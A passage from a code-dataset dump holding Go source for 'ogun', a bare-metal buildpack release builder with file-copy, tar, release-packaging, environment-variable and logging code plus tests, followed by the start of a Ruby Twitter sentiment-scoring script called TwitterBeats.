outfile, err := Root.Create(targetPath) if err != nil { return err } defer func() { cerr := outfile.Close() if err == nil { err = cerr } }() _, err = io.Copy(outfile, infile) if err != nil { return err } err = outfile.Sync() return err } func DirCopy(source string, target string) error { if !FileExists(source) { return fmt.Errorf("%s does not exist", source) } walkFunc := func(path string, info os.FileInfo, err error) error { targetPath := target + strings.TrimPrefix(path, source) if info.IsDir() { return CreateDir(targetPath, info.Mode()) } else { return Copy(path, targetPath, info.Mode()) } } return Walk(source, walkFunc) } var Tar = func(src string, destination string) error { destfile, err := Root.Create(destination) if err != nil { return err } // ensure the src actually exists before trying to tar it if _, err := os.Stat(src); err != nil { return err } gzw := gzip.NewWriter(destfile) defer gzw.Close() tw := tar.NewWriter(gzw) defer tw.Close() // walk path return filepath.Walk(src, func(file string, fi os.FileInfo, err error) error { // return on any error if err != nil { return err } // create a new dir/file header header, err := tar.FileInfoHeader(fi, fi.Name()) if err != nil { return err } // update the name to correctly reflect the desired destination when untaring header.Name = strings.TrimPrefix(strings.Replace(file, src, "", -1), string(filepath.Separator)) // write the header if err := tw.WriteHeader(header); err != nil { return err } // return on non-regular files (thanks to [kumo](https://medium.com/@komuw/just-like-you-did-fbdd7df829d3) for this suggested update) if !fi.Mode().IsRegular() { return nil } // open files for taring f, err := os.Open(file) if err != nil { return err } // copy file data into tar writer if _, err := io.Copy(tw, f); err != nil { return err } // manually close here after each file operation; defering would cause each file close // to wait until all operations have completed. f.Close() return nil }) } func CreateBuildLog(application string, name string) (afero.File, error) { logName := "build-" + name + ".log" logPath := applicationPath(ogun.Application{Name: application}) + "/shared/build_logs/" err := CreateDir(logPath, 0755) if err != nil { return nil, err } return Root.Create(logPath + logName) } func ReadDir(path string) ([]os.FileInfo, error) { return afero.ReadDir(Root, path) } func Basename(path string) string { return filepath.Base(path) } func Stat(path string) (os.FileInfo, error) { return Root.Stat(path) } func Executable(path string) bool { info, _ := Stat(path) return (info.Mode()&0100 == 0100) } <file_sep>/pkg/ogun/fs/release_service.go package fs import ( "fmt" "github.com/ess/ogun/pkg/ogun" exec "github.com/ess/ogun/pkg/ogun/os" ) type ReleaseService struct { Logger ogun.Logger } func NewReleaseService(logger ogun.Logger) ReleaseService { return ReleaseService{Logger: logger} } func (service ReleaseService) Create(name string, app ogun.Application) (ogun.Release, error) { rel := ogun.Release{Name: name, Application: app} path, err := service.createReleasePath(app, name) if err != nil { return rel, fmt.Errorf("could not create " + path) } err = service.copySource(app, path) return rel, err } func (service ReleaseService) Build(release ogun.Release, pack ogun.Buildpack) error { compile := pack.Location + "/bin/compile" //compile := buildpackPath(pack) + "/bin/compile" buildPath := applicationPath(release.Application) + "/builds/" + release.Name // applyConfig or bail err := service.applyConfig(release) if err != nil { return err } vars := NewVariableService(service.Logger) runner := exec.NewLoggedRunner(pack.Name+"/compile", service.Logger) _, err = runner.Execute(compile+" "+buildPath+" "+cachePath(release.Application), vars.All(release.Application)) if err != nil { service.Logger.Error("build", "Compiling release "+release.Name+" failed") } return err } func (service ReleaseService) Clean(release ogun.Release) error { return fmt.Errorf("not implemented") } func (service ReleaseService) Package(release ogun.Release) error { context := "release/package" buildPath := applicationPath(release.Application) + "/builds/" + release.Name slugPath := applicationPath(release.Application) + "/releases/" slugFile := slugPath + release.Name + ".tgz" service.Logger.Info(context, "Packaging "+release.Name) err := CreateDir(slugPath, 0755) if err != nil { service.Logger.Error(context, "Release storage directory does not exist") return err } err = Tar(buildPath, slugFile) if err != nil { service.Logger.Error(context, "Could not create package for "+release.Name) return err } service.Logger.Info(context, "Package saved to "+slugFile) return nil } func (service ReleaseService) Delete(release ogun.Release) error { return fmt.Errorf("not implemented") } func (service ReleaseService) applyConfig(release ogun.Release) error { context := "apply-config" app := release.Application source := configPath(app) destination := applicationPath(app) + "/builds/" + release.Name + "/config" err := DirCopy(source, destination) if err != nil { service.Logger.Error(context, "Could not apply shared config to build") } else { service.Logger.Info(context, "Applied shared config to build") } return err } func (service ReleaseService) createReleasePath(app ogun.Application, name string) (string, error) { path := applicationPath(app) + "/builds/" + name err := CreateDir(path, 0700) return path, err } func (service ReleaseService) copySource(app ogun.Application, path string) error { cacheRoot := applicationPath(app) + "/shared/cached-copy" return DirCopy(cacheRoot, path) } <file_sep>/cmd/ogun/cmd/root.go package cmd import ( "fmt" "github.com/spf13/cobra" "github.com/spf13/viper" ) var RootCmd = &cobra.Command{ Use: "ogun", Short: "Ogun, God of Metalcraft", Long: `Ogun, God of Metalcraft Ogun is a utiltiy used, primarily, for crafting portable application releases on bare metal. This is the top level of that utility, which does not do very much. Please see below for subcommands that do much more.`, } func Execute() error { err := RootCmd.Execute() if err != nil { fmt.Println(err) } return err } func init() { cobra.OnInitialize(initConfig) } func initConfig() { viper.SetConfigName("config") viper.AddConfigPath("/etc/ogun") viper.AutomaticEnv() if err := viper.ReadInConfig(); err == nil { } } <file_sep>/README.md ogun is a utility for creating buildpack-centric application builds on bare metal ## History ## * v0.0.4 - Quick custom buildpack messaging fix * v0.0.3 - Various production-oriented fixes * v0.0.2 - Now with normalized paths * v0.0.1 - Initial pre-alpha, totally not recommended release <file_sep>/features/steps/building-an-app_steps.go package steps import ( //"fmt" //"strings" //"github.com/ess/jamaica" "github.com/ess/kennel" "github.com/ess/mockable" "github.com/spf13/afero" "github.com/ess/ogun/cmd/ogun/cmd" "github.com/ess/ogun/mock" "github.com/ess/ogun/pkg/ogun/fs" ) type BuildingAnApp struct{} func (steps *BuildingAnApp) StepUp(s kennel.Suite) { s.Step(`^there is an app named toast$`, func() error { return fs.CreateDir("/data/toast", 0755) }) s.Step(`^there is a shared configuration for the toast app$`, func() error { return fs.CreateDir("/data/toast/shared/config", 0755) }) s.Step(`^I have a cached copy of the toast app$`, func() error { return fs.CreateDir("/data/toast/shared/cached_copy", 0755) }) s.Step(`^there is a buildpack installed that can build toast$`, func() error { bin := "/engineyard/buildpacks/awesome/bin" err := fs.CreateDir(bin, 0755) if err != nil { return err } file, err := fs.Root.Create(bin + "/detect") if err != nil { return err } file.Close() file, err = fs.Root.Create(bin + "/compile") if err != nil { return err } file.Close() return nil }) s.Step(`^there is a buildpack installed that cannot build toast$`, func() error { bin := "/engineyard/buildpacks/onoes/bin" err := fs.CreateDir(bin, 0755) if err != nil { return err } file, err := fs.Root.Create(bin + "/detect") if err != nil { return err } file.Close() file, err = fs.Root.Create(bin + "/compile") if err != nil { return err } file.Close() return nil }) //s.Step(`^the shared config is applied to the build$`, func() error { //if !strings.Contains(jamaica.LastCommandStdout()) //}) s.BeforeSuite(func() { mockable.Enable() }) s.AfterSuite(func() { mockable.Disable() }) s.BeforeScenario(func(interface{}) { fs.Root = afero.NewMemMapFs() cmd.Logger = mock.NewLogger() }) } func init() { kennel.Register(new(BuildingAnApp)) } <file_sep>/mock/logger.go package mock import ( "fmt" "io" ) type Entry struct { Severity string Context string Message string } func (e *Entry) String() string { return fmt.Sprintf("[%s](%s) - %s", e.Severity, e.Context, e.Message) } type Logger struct { Entries []*Entry } func NewLogger() *Logger { return &Logger{} } func (logger *Logger) log(severity string, context string, message string) { e := &Entry{Severity: severity, Context: context, Message: message} logger.Entries = append(logger.Entries, e) } func (logger *Logger) Info(context string, message string) { logger.log("INFO", context, message) } func (logger *Logger) Error(context string, message string) { logger.log("ERROR", context, message) } func (logger *Logger) AddOutput(output io.Writer) {} func (logger *Logger) Writers() []io.Writer { return nil } func (logger *Logger) Reset() { logger.Entries = make([]*Entry, 0) } <file_sep>/cmd/ogun/cmd/globals.go package cmd import ( "github.com/ess/ogun/pkg/ogun" "github.com/ess/ogun/pkg/ogun/log" ) var Logger ogun.Logger = log.NewLogger() <file_sep>/pkg/ogun/log/logger.go package log import ( "io" "os" "github.com/sirupsen/logrus" ) type Logger struct { log *logrus.Logger writers []io.Writer } func NewLogger() *Logger { log := logrus.New() log.Formatter = &Formatter{} logger := &Logger{log: log, writers: make([]io.Writer, 0)} logger.AddOutput(os.Stdout) return logger } func (logger *Logger) Info(context string, message string) { logger.log.WithField("context", context).Info(message) } func (logger *Logger) Error(context string, message string) { logger.log.WithField("context", context).Error(message) } func (logger *Logger) AddOutput(output io.Writer) { logger.writers = append(logger.writers, output) logger.log.Out = io.MultiWriter(logger.writers...) } func (logger *Logger) Writers() []io.Writer { writers := make([]io.Writer, 0) for _, writer := range logger.writers { writers = append(writers, writer) } return writers } <file_sep>/pkg/ogun/fs/variable_service.go package fs import ( "os" "sort" "strings" "github.com/ess/ogun/pkg/ogun" myos "github.com/ess/ogun/pkg/ogun/os" ) type VariableService struct { logger ogun.Logger } func NewVariableService(logger ogun.Logger) VariableService { return VariableService{logger: logger} } func (service VariableService) All(app ogun.Application) []ogun.Variable { envs := service.stringsToVars(os.Environ()) runner := myos.NewRunner() for _, path := range service.envfiles(app) { aggregate, err := runner.Execute("source "+path+" ; env", envs) if err != nil { continue } //envs = []ogun.Variable(strings.Split(string(aggregate), "\n")) envs = service.stringsToVars(strings.Split(string(aggregate), "\n")) } path := os.Getenv("PATH") envs = append(envs, ogun.Variable("PATH="+path)) return envs } func (service VariableService) envfiles(app ogun.Application) []string { basedir := configPath(app) standard := []string{ basedir + "/env", basedir + "/env.cloud", basedir + "/env.custom", } uniques := make(map[string]bool) for _, file := range standard { uniques[file] = true } matches, _ := ReadDir(basedir) for _, match := range matches { name := match.Name() if strings.HasPrefix(name, "env.") { uniques[basedir+"/"+name] = true } } for _, file := range standard { delete(uniques, file) } nonstandard := make([]string, 0) for file := range uniques { nonstandard = append(nonstandard, file) } sort.Strings(nonstandard) candidates := append(standard, nonstandard...) envfiles := make([]string, 0) for _, candidate := range candidates { if FileExists(candidate) { envfiles = append(envfiles, candidate) } } return envfiles } func (service VariableService) stringsToVars(vars []string) []ogun.Variable { output := make([]ogun.Variable, 0) for _, variable := range vars { output = append(output, ogun.Variable(variable)) } return output } <file_sep>/pkg/ogun/fs/helpers_for_test.go package fs import ( "github.com/brianvoe/gofakeit" "github.com/spf13/afero" "github.com/ess/ogun/mock" "github.com/ess/ogun/pkg/ogun" ) var logger = mock.NewLogger() var appName string var releaseName = "20180921143528" var app ogun.Application var release ogun.Release var runner = mock.NewRunner() func setupFs() { Root = afero.NewMemMapFs() } func stubApplication() { appName = gofakeit.Generate("????????????") app = ogun.Application{Name: appName} CreateDir(applicationPath(app), 0755) CreateDir(applicationPath(app)+"/shared/cached_copy", 0755) ohai, _ := Root.Create(applicationPath(app) + "/shared/cached_copy/ohai") ohai.Close() } func stubPack(pack ogun.Buildpack) error { bin := pack.Location + "/bin" CreateDir(bin, 0755) detect := bin + "/detect" //fmt.Println("generating", detect) file, err := Root.Create(detect) if err != nil { return err } file.Close() Root.Chmod(detect, 0755) //fmt.Println(detect, "exists?", FileExists(detect)) //fmt.Println(detect, "executable?", Executable(detect)) compile := bin + "/compile" //fmt.Println("generating", compile) file, err = Root.Create(compile) if err != nil { return err } file.Close() Root.Chmod(compile, 0755) //fmt.Println(compile, "exists?", FileExists(detect)) //fmt.Println(compile, "executable?", Executable(detect)) return nil } <file_sep>/pkg/ogun/fs/release_service_test.go package fs import ( //"fmt" "testing" "github.com/ess/ogun/pkg/ogun" ) func setupCreate() { logger.Reset() setupFs() stubApplication() setupRelease() } func setupRelease() { release = ogun.Release{Name: releaseName, Application: app} if DirectoryExists(releasePath(release)) { Root.RemoveAll(releasePath(release)) } } func TestReleaseService_Create(t *testing.T) { service := NewReleaseService(logger) t.Run("it creates the release path", func(t *testing.T) { setupCreate() if DirectoryExists(releasePath(release)) { t.Errorf("expected %s not to exist yet", releasePath(release)) } service.Create(releaseName, app) if !DirectoryExists(releasePath(release)) { t.Errorf("expected %s to exist after creation", releasePath(release)) } }) t.Run("it copies the source cache to the release path", func(t *testing.T) { setupCreate() ohai := releasePath(release) + "/ohai" if FileExists(ohai) { t.Errorf("expected %s not to exist yet", ohai) } service.Create(releaseName, app) if !FileExists(ohai) { t.Errorf("expected %s to exist after creation", ohai) } }) t.Run("it returns the release", func(t *testing.T) { setupCreate() result, _ := service.Create(releaseName, app) if result.Name != releaseName { t.Errorf("expected release %s, got release %s", releaseName, result.Name) } }) } //func TestBuildpackService_Detect(t *testing.T) { //setupRunner() //service := NewBuildpackService(logger) //runner.Reset() //service.runner = runner //t.Run("when there's a custom buildpack", func(t *testing.T) { //setupDetect() //pack := ogun.Buildpack{Name: "custom", Location: applicationPath(app) + "/shared/cached_copy/.ogun/buildpack"} //err := stubPack(pack) //if err != nil { //t.Errorf("couldn't stub the pack") //} //result, err := service.Detect(app) //t.Run("it returns the app's custom buildpack", func(t *testing.T) { //if result.Location != pack.Location { //t.Errorf("expected %s, got %s", pack.Location, result.Location) //} //}) //t.Run("it returns no error", func(t *testing.T) { //if err != nil { //t.Errorf("expected no error, got %s", err) //} //}) //}) //t.Run("when there's no custom buildpack", func(t *testing.T) { //t.Run("but there are no buildpacks installed", func(t *testing.T) { //setupDetect() //_, err := service.Detect(app) //t.Run("it returns an error", func(t *testing.T) { //if err == nil { //t.Errorf("expected an error") //} //}) //}) //t.Run("and there are buildpacks installed", func(t *testing.T) { //pack1 := ogun.Buildpack{Name: "buildpack-pack1", Location: "/engineyard/buildpacks/buildpack-pack1"} //pack2 := ogun.Buildpack{Name: "buildpack-pack2", Location: "/engineyard/buildpacks/buildpack-pack2"} //setupDetect() //err := stubPack(pack1) //if err != nil { //t.Errorf("could not stub pack1") //} //err = stubPack(pack2) //if err != nil { //t.Errorf("could not stub pack2") //} //t.Run("but none of them can build the app", func(t *testing.T) { //runner.Reset() //_, derr := service.Detect(app) //t.Run("it returns an error", func(t *testing.T) { //if derr == nil { //t.Errorf("expected an error") //} //}) //}) //t.Run("but more than one can build the app", func(t *testing.T) { //runner.Reset() //runner.Add(pack1.Location + "/bin/detect") //runner.Add(pack2.Location + "/bin/detect") //_, derr := service.Detect(app) //t.Run("it returns an error", func(t *testing.T) { //if derr == nil { //t.Errorf("expected an error") //} //}) //}) //t.Run("and exactly one can build the app", func(t *testing.T) { //runner.Reset() //runner.Add(pack1.Location + "/bin/detect") //result, derr := service.Detect(app) //t.Run("it returns the correct buildpack", func(t *testing.T) { //if result.Location != pack1.Location { //t.Errorf("expected %s, got %s", pack1.Location, result.Location) //} //}) //t.Run("it returns no error", func(t *testing.T) { //if derr != nil { //t.Errorf("expected no error, got %s", derr) //} //}) //}) //}) //}) //} <file_sep>/pkg/ogun/fs/application_service.go package fs import ( "fmt" "github.com/ess/ogun/pkg/ogun" ) type ApplicationService struct { logger ogun.Logger } func NewApplicationService(logger ogun.Logger) ApplicationService { return ApplicationService{logger: logger} } func (service ApplicationService) Get(name string) (ogun.Application, error) { app := ogun.Application{Name: name} if !DirectoryExists(applicationPath(app)) { return app, fmt.Errorf("no application named %s found", name) } return app, nil } <file_sep>/cmd/ogun/cmd/version.go package cmd import ( "fmt" "github.com/spf13/cobra" ) var ( Version string Build string ) var versionCmd = &cobra.Command{ Use: "version", Short: "Report the ogun version", Long: `Report the ogun version The version and build time are set during our release build, and this can help you to guarantee that you're using the most recent version.`, Run: func(cmd *cobra.Command, args []string) { showVersion() }, } func init() { RootCmd.AddCommand(versionCmd) } func showVersion() { fmt.Printf("ogun %s (Build %s)\n", Version, Build) } <file_sep>/pkg/ogun/os/logged_runner.go package os import ( "bytes" "io" "os/exec" "strings" "github.com/ess/ogun/pkg/ogun" ) type LoggedRunner struct { context string logger ogun.Logger } var NewLoggedRunner = func(context string, logger ogun.Logger) ogun.Runner { return &LoggedRunner{context: context, logger: logger} } func (runner *LoggedRunner) Execute(command string, vars []ogun.Variable) ([]byte, error) { cmd := exec.Command("bash", "-c", command) if len(vars) > 0 { cmd.Env = varsToStrings(vars) } output := make([]byte, 0) buf := bytes.NewBuffer(output) stdoutIn, _ := cmd.StdoutPipe() stderrIn, _ := cmd.StderrPipe() stdout := newPassThrough(runner.logger, runner.context, "info", buf) stderr := newPassThrough(runner.logger, runner.context, "error", buf) cmd.Start() go func() { io.Copy(stdout, stdoutIn) }() go func() { io.Copy(stderr, stderrIn) }() err := cmd.Wait() return buf.Bytes(), err } type passThrough struct { log ogun.Logger context string level string output *bytes.Buffer } func newPassThrough(log ogun.Logger, context string, level string, output *bytes.Buffer) *passThrough { return &passThrough{ log: log, context: context, level: level, output: output, } } func (p *passThrough) Write(d []byte) (int, error) { p.output.Write(d) //line := strings.TrimSpace(string(d)) lines := strings.Split(string(d), "\n") for _, line := range lines { if len(line) > 0 { switch p.level { case "error": p.log.Error(p.context, line) default: p.log.Info(p.context, line) } } } return len(d), nil }
639338fc28b350c264b16a6bc745b985efdf69ea
[ "Markdown", "Go" ]
32
Go
ess/ogun
dfd2a31aa6b9d89926e5ad7cb5aed03439b79b4c
82a06ca376b2ae20fb9600d9215c6d991996828e
refs/heads/master
<file_sep># lds-cache-visualization-extension Chrome DevTools extension for data visualization of LDS cache. Quip doc: https://salesforce.quip.com/HEQbAExbvaXZ Extension outline: - manifest.json file: metadata - devtools.js: on open, triggers `content.js` - content.js: sends message to LDS page, receives data response and posts it for `background.js` — *also modified `lds lightning platform ldsInstrumentation` to post data - background.js: passes along messages from content.js to chart/data-processing.js - chart/index.html and chart/data-processing.js: receives and processes data to display graphs Timeline Chart: - displays adapter calls, network calls (storeIngest, storeEvict, storeBroadcast) in timeline - on click, displays detailed info e.g. config, response data <file_sep>/* data format: [ { group: "group1name", data: [ { label: "label1name", data: [ { timeRange: [<date>, <date>], val: <val: number (continuous dataScale) or string (ordinal dataScale)> }, { timeRange: [<date>, <date>], val: <val> }, (...) ] }, { label: "label2name", data: [...] }, (...) ], }, { group: "group2name", data: [...] }, (...) ] */ function generateTimeline(rawData) { // 4 groups let groups = ["AdapterCall", "storeIngest", "storeEvict", "storeBroadcast"]; let data = []; //array of objs let labelsData = {}; // map label to arr of all data // instantiate data obj for (let i in groups) { labelsData[groups[i]] = {}; } function getLabel(method, request) { if (method == groups[0]) { // adapterCall return request.name; } if (method == groups[1] | method == groups[2]) { let name = request.args[0]; if (name == "") { return "aura"; } if (name.includes("UiApi::RecordAvatarsBulk")) { // special case return name.slice("UiApi::".length); } // else UiApi::Representation let ind = name.indexOf("Representation"); let result = name.slice("UiApi::".length, ind + "Representation".length); // gets "_Representation" return result; } if (method == groups[3]) { return "broadcast"; } } function getExtraData(method, request) { if (method == groups[0]) { // adapterCall return { "config": request.config, "result": request.data }; } if (method == groups[1]) { let result = { "name": request.args[0], "request": request.args[1], "result": request.args[2] }; if (request.args[0] === '') { result["name"] = "Aura call"; } return result; } if (method == groups[2]) { return { "name": request.args[0] }; } if (method == groups[3]) { // storeBroadcast has no extra data return {}; } } //instantiate labelsData for (let i in rawData) { let request = rawData[i]; let method = request.method; // equal to group let label = getLabel(method, request); let start = new Date(request.startTime); let end = new Date(request.endTime); let val = label; if (method == groups[0]) { val += ' ' + request.isCacheHit; // hit or miss } let obj = { "timeRange": [start, end], "val": val, "extraData": getExtraData(method, request) }; if (label in labelsData[method]) { labelsData[method][label].push(obj); // push into existing arr } else { labelsData[method][label] = [obj]; // new arr } } // instantiate data for (let i in groups) { let group = groups[i]; let groupObj = { "group": group, "data": [] } for (let label in labelsData[group]) { let dataArr = labelsData[group][label]; // pushes in correct label data groupObj["data"].push({ "label": label, "data": dataArr }); } // pushes in correct group data data.push(groupObj); } TimelinesChart()(document.getElementById("chart_timeline")) .zQualitative(true) .onSegmentClick(function (s) { let f = new JSONFormatter(s.extraData); let top = document.getElementById("bottom"); top.innerHTML = ""; top.appendChild(f.render()); }) .timeFormat("%I:%M:%S.%L %p") // hour:minute:second:ms .data(data); }<file_sep> // is RecordRepresentation object function isRecord(key) { return key.includes('UiApi::RecordRepresentation') && !key.includes('__fields__'); } // recursive function that builds Tree JSON object function makeTreeJSON(key, recs) { let obj = { 'name': key }; // if RecordRepresentation, do filtering logic if (key === 'root' | key.includes('UiApi::RecordRepresentation')) { if (!('fields' in recs[key]) && (recs[key]['value'] === null || typeof (recs[key]['value']) !== 'object')) { // is a leaf return obj; } obj['children'] = []; // must be field if (!('fields' in recs[key])) { // special check for child Record let ref = recs[key]['value']['__ref'] let ref_obj = makeTreeJSON(ref, recs); obj['children'].push(ref_obj); return obj; } let fields = recs[key]['fields']; for (let field in fields) { let ref = fields[field]['__ref']; let ref_obj = makeTreeJSON(ref, recs); obj['children'].push(ref_obj); } } return obj; } // format Response JSON to pass into makeTreeJSON function formatResponse(recs) { let isRoot = {}; if (recs) { for (let key in recs) { if (key.includes('UiApi::RecordRepresentation')) { // is a field Record if (key.includes('__fields__') && recs[key]['value'] !== null && typeof (recs[key]['value']) == 'object' && ('__ref' in recs[key]['value'])) { let ref = recs[key]['value']['__ref'] if (isRecord(ref)) { isRoot[ref] = false; } } else if (isRecord(key)) { if (!(key in isRoot)) { isRoot[key] = true; } // get all fields if (recs[key]['fields']) { let fields = recs[key]['fields']; for (let field in fields) { let ref = fields[field]['__ref']; if (isRecord(ref)) { isRoot[ref] = false; } } } } } else { isRoot[key] = true; } } // get root and root children let root = 'root'; recs[root] = { "apiName": "root", "fields": {} }; for (let key in isRoot) { if (isRoot[key]) { recs[root]['fields'][key] = { '__ref': key }; } } return recs; } }<file_sep>const MessageAction = { InitialPutSource: 'InitialPutSource', PutSource: 'PutSource', AdapterCall: 'AdapterCall', Broadcast: 'Broadcast', GiveSource: 'giveSource', GetSource: 'getSource' }; let source = null; // will be set after putSource executed chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) { // initial message from LDS page if (request.action === MessageAction.InitialPutSource) { source = request.source; } // sent from content.js, intended for saving source if (request.action === MessageAction.PutSource) { chrome.runtime.sendMessage({ action: MessageAction.GiveSource, source: request.source, tabId: tabId, method: request.method, args: request.args, startTime: request.startTime, endTime: request.endTime }); } // sent from Devtools, to get the source if(request.action === MessageAction.GetSource) { sendResponse({ source: source, tabId: tabId, startTime: request.startTime, endTime: request.endTime }); } if (request.action === MessageAction.AdapterCall) { chrome.runtime.sendMessage({ action: MessageAction.GiveSource, startTime: request.startTime, endTime: request.endTime, method: request.method, name: request.name, isCacheHit: request.isCacheHit, config: request.config, tabId: tabId, data: request.data }); } if (request.action === MessageAction.Broadcast) { chrome.runtime.sendMessage({ action: MessageAction.GiveSource, startTime: request.startTime, endTime: request.endTime, method: request.method, tabId: tabId }); } }); <file_sep>// stores tabId that opened this DevTools window let tabId; let treeData; let rawData; chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { if (request && request.tabId && request.action) { if (request.tabId == tabId && request.action == 'giveSource') { rawData.push(request); // if storeIngest or storeEvict, update store if (request.method != 'storeBroadcast' && request.method != 'AdapterCall') { let store = request.source.records; let new_recs = formatResponse(store); treeData = makeTreeJSON('root', new_recs); } } } }); // initial request for data from page chrome.runtime.sendMessage({ action: 'getSource' }, function (response) { if (response && response.tabId && response.source) { tabId = response.tabId; let store = response.source[response.source.length - 1].source.records; // actual store is last element rawData = response.source.slice(0, response.source.length - 1); // everything but last element is call data let new_recs = formatResponse(store); treeData = makeTreeJSON('root', new_recs); } }); document.getElementById("button_circles").addEventListener("click", function () { if (treeData !== undefined) { let f = new JSONFormatter(treeData); let top = document.getElementById("chart_circles"); top.innerHTML = ""; top.appendChild(f.render()); } }) document.getElementById("button_timeline").addEventListener("click", function () { document.getElementById("chart_timeline").innerHTML = ""; // reset if (rawData !== undefined) { generateTimeline(rawData); } }) document.getElementById("button_circles2").addEventListener("click", function () { document.getElementById("chart_circles").innerHTML = ""; // reset }) document.getElementById("button_timeline2").addEventListener("click", function () { document.getElementById("chart_timeline").innerHTML = ""; // reset document.getElementById("bottom").innerHTML = ""; })<file_sep>const MessageName = { ADAPTER_CALL: 'ADAPTER_CALL', BROADCAST: 'BROADCAST', CACHE_CONTENTS: 'CACHE_CONTENTS', INITIAL_CACHE_CONTENTS: 'INITIAL_CACHE_CONTENTS', }; const MessageAction = { InitialPutSource: 'InitialPutSource', PutSource: 'PutSource', AdapterCall: 'AdapterCall', Broadcast: 'Broadcast' }; // requests cache data from LDS page window.postMessage({ type: 'InitialCache' }, "*"); window.addEventListener("message", function (event) { // only accept messages from ourselves if (event.source !== window && event.source !== window.frames[0]) return; let data = event.data; if (data.type == MessageName.INITIAL_CACHE_CONTENTS) { // get source chrome.runtime.sendMessage({ action: MessageAction.InitialPutSource, source: data.source, startTime: data.startTime, endTime: data.endTime }); } if (data.type == MessageName.CACHE_CONTENTS) { chrome.runtime.sendMessage({ action: MessageAction.PutSource, source: data.source, method: data.method, // storeIngest or storeEvict args: data.args, startTime: data.startTime, endTime: data.endTime }); } if (event.data.type == MessageName.ADAPTER_CALL) { chrome.runtime.sendMessage({ action: MessageAction.AdapterCall, config: data.config, name: data.name, startTime: data.startTime, endTime: data.endTime, method: data.method, isCacheHit: data.isCacheHit, name: data.name, data: data.data }); } if (event.data.type == MessageName.BROADCAST) { chrome.runtime.sendMessage({ action: MessageAction.Broadcast, startTime: data.startTime, endTime: data.endTime, method: data.method }); } });
551be27e4986e75314093899c6cb8710267a8943
[ "Markdown", "JavaScript" ]
6
Markdown
jsu20/lds-cache-visualization-extension
0d90316ed6d3cc721cd3f1208165264121f2a093
5e0b8a77c2ebfad437f3b8b6dd2b44504a071699
refs/heads/master
<file_sep>#!/usr/bin/env ruby # Add lib/ folder to end of the Ruby library search path so we can simply require them like gems $:.push File.join(File.dirname(__FILE__),'lib') require 'rubygems' require 'bundler/setup' require 'purdy-print' require 'twitter-sentiment' include PurdyPrint # colorful stylized console log library class TwitterBeats @@debug = :high # PurdyPrint debug var @@score_bounds = [-10,10] attr_reader :parsers # @return [int] Capped and rounded score def limit_score score return 0 if score.nil? score = score > @@score_bounds[1] ? @@score_bounds[1] : score score = score < @@score_bounds[0] ? @@score_bounds[0] : score return score.round end def happiness return limit_score(@parsers[:text_mood][:result][:score]*0.7+@parsers[:user_image][:result][:score]*0.2+@parsers[:user_stats][:result][:description_score]*0.1) \ unless @parsers[:text_mood][:result][:score].nil? \ or @parsers[:user_image][:result][:score].nil? \ or @parsers[:user_stats][:result][:description_score].nil? return limit_score(@parsers[:text_mood][:result][:score]*0.8+@parsers[:user_image][:result][:score]*0.2) \ unless @parsers[:text_mood][:result][:score].nil? \ or @parsers[:user_image][:result][:score].nil? return limit_score(@parsers[:text_mood][:result][:score]*0.9+@parsers[:user_stats][:result][:description_score]*0.1) \ unless @parsers[:text_mood][:result][:score].nil? \ or @parsers[:user_stats][:result][:description_score].nil? return limit_score(@parsers[:text_mood][:result][:score]) \ unless @parsers[:text_mood][:result][:score].nil? return 0 end def paint_score num return Paint["nil", :italic, :yellow] if num.nil? return Paint[num.to_s, :bold, :red] if num < 0 return Paint[num.to_s, :bold, :green] if num > 0 return Paint[num.to_s, :bold] end def initialize pp :category, Paint["Welcome to ", :bold] + Paint["Twitter",:bright,:red] + Paint["Beats",:bright,:blue] # Since UserStats and TextMood can both use the same TextMood instance, we can send it the same # one and avoid double the generation. textmood_global = TwitterSentiment::Parser::TextMood.new(:afinn_emo) facerecon_global = TwitterSentiment::Parser::FaceRecon.new @parsers = { :text_mood => { :instance => textmood_global }, :user_image => { :instance => facerecon_global }, :user_stats => { :instance => TwitterSentiment::Parser::UserStats.new(textmood_global, facerecon_global) }, :randomness => { :instance => TwitterSentiment::Parser::Randomness.new }, #:user_stalker => { :instance => TwitterSentiment::Parser::UserStalker.new(textmood_global) }, } out = TwitterSentiment::Output::Send.new TwitterSentiment::Input::TwitterStream.new({ :status_callback => lambda { |status| stdout = [] stdout << fmt(:separator, '', :med) # separate initialization text from tweet fun # text weight stdout << fmt(:info, "#{Paint["TWEET - ",:yellow]}#{status.text}") @parsers.each do |parser, c| c[:result] = c[:instance].gather(status) #TWEET - # stdout << fmt(c[:result][:score], " #{Paint["|",:yellow]} #{paint_score(c[:result][:score].round(2))} #{Paint["<-",[50,50,50]]} #{parser.to_s}", :med) end weights = { # happiness = 70% tweet, 20% image, 10% description :happiness => happiness, # excitement = follows per tweet # TODO: make this actually excitement of post :excitement => limit_score(@parsers[:user_stats][:result][:follows_per_tweet]+@parsers[:randomness][:result][:exclamations]*2), # confusion = number of question marks and a hint of randomness :randomness => limit_score(@parsers[:randomness][:result][:questions] + rand(5) * 2), } stdout << fmt(weights[:happiness], "h/e/c = #{weights[:happiness]}/#{weights[:excitement]}/#{weights[:randomness]}", :med) stdout.reject! { |msg| msg.nil? or msg.empty? } puts stdout.join("\n") # mutex-free debug outputs out.send_gen weights, status, parsers }, }) end #initialize end #class if __FILE__ == $0 begin # rile the beast TwitterBeats.new rescue SystemExit, Interrupt pp :warn, "Interrupt received, quitting..." exit end end<file_sep>require 'purdy-print' include PurdyPrint module TwitterSentiment module Parser include PurdyPrint class Randomness def initialize #no code end #@param [String] Sentence (tweet) #@return [Array] ["!", "?", "/"] def symbol_count text # all lowercase, baby sentence = text.downcase chars = sentence.split(//) # break up into char array chars.reject! { |c| (c.>=('a') && c.<=('z')) || (c.>=('0') && c.<=('9')) || c.==(' ')} # get rid of any blank entries pp :info, "Punctuation detected: #{chars}", :high arr = {:exclamations => 0, :questions => 0, :slashes => 0} chars.each do |c| arr[:exclamations] += 1 if c.==('!') arr[:questions] += 1 if c.==('?') arr[:slashes] += 1 if c.==('/') end arr end #symbol_count def gather status result = symbol_count status.text result[:score] = [[(result.values.reduce(:+).to_f/status.text.length)*10,10].min,-10].max return result end end #class end #Parser end #TwitterSentiment<file_sep>require 'paint' debug = :off # :off, :low, :med, :high module PurdyPrint @@debug = :off def level_to_score level level = 0 if level == :off level = 1 if level == :low level = 2 if level == :med level = 3 if level == :high return level end def number_to_mood score return :happy if score > 0 return :sad if score < 0 return :bhargav end def fmt mood=:info, msg="", debug_level=:off case mood when Numeric mood = number_to_mood mood end moods = { :info => Paint["[info] ", 